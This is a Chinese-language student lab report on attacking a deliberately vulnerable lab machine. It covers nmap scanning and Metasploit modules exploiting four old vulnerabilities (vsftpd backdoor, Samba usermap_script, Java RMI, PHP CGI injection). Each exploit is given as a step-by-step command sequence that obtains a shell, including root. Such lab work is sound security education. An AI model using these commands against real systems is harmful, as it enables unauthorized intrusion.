1.实验内容
1.1实验要求
(1)掌握metasploit、nmap的用法。
(2)学习前期渗透的方法。
(3)利用4个漏洞,实现对靶机的攻击。
1.2学习内容
(1)metasploit的用法:可以简单总结为“Search-Use-Show-Set-Exploit/run”。
(2)四种漏洞的原理。
a.Vsftpd源码包后门漏洞:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“:)”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
b.SambaMS-RPC Shell命令注入漏洞:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
c.Java RMI SERVER命令执行漏洞:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
d.PHP CGI参数执行注入漏洞:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
2.实验过程
2.1前期渗透
在靶机中使用ipconfig
得到ip地址为172.16.218.247。
在kali中打开msfconsole,输入以下命令。
search arp_sweep
use 0
set RHOSTS 172.16.218.0/24
run
扫描到了靶机。
可以在命令行中输入nmap -p 1-2048 172.16.218.247
查看靶机开放的端口。
还可以在命令行中输入nmap -script=vuln 172.16.218.247
对靶机的漏洞进行扫描。这个靶机被设置得非常不安全,有很多漏洞。截取一部分的结果,发现21端口有vsFTPd漏洞,1099端口有RMI registry default configuration remote code execution漏洞,大部分端口都开放着。
2.2Vsftpd源码包后门漏洞(21端口)
在msfconsole中输入以下命令。
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 172.16.218.247
run
再输入uname -a,pwd,id命令,可以看到已经获取靶机的shell,攻击成功。
2.3SambaMS-RPC Shell命令注入漏洞(端口139)
在msfconsole中输入以下命令。
use exploit/multi/samba/usermap_script
set RHOST 172.16.218.247
exploit
再输入uname -a命令,可以看到已经获取靶机的shell,攻击成功。
2.4Java RMI SERVER命令执行漏洞(1099端口)
在前期渗透中已经得知1099端口开放,在msfconsole中输入以下命令。
use exploit/multi/misc/java_rmi_server
set RHOST 172.16.218.247
exploit
shell
输入命令whoami,得到结果root,说明攻击成功。
2.5PHP CGI参数执行注入漏洞(80端口)
在msfconsole中输入以下命令。
use exploit/multi/http/php_cgi_arg_injection
set RHOST 172.16.218.247
exploit
shell
可以执行命令,说明攻击成功。
3.问题及解决方案
- 问题1:
ifconfig
后发现kali和靶机不在一个网段。 - 问题1解决方案:根据之前做实验的经验,关机,设置靶机的网络适配器为桥接模式,再启动就解决了问题。
4.学习感悟、思考等
在这次渗透测试实验中,我更深刻地体会到了掌握和利用专业安全工具的重要性。Metasploit和Nmap作为两款强大的安全工具,它们在前期信息收集、端口扫描以及漏洞探测等方面发挥了关键作用。通过实际操作这些工具,我们可以在面对不同类型的漏洞时,迅速找到对应的攻击模块并成功利用。
这次实验也让我深刻反思了网络安全防护的严峻性。虽然实验中遇到的这些漏洞基本上都已经被解决,但在实际环境中也会不断产生新的安全威胁,任何系统或应用都可能存在潜在的安全风险,必须时刻保持警惕并采取有效的防护措施。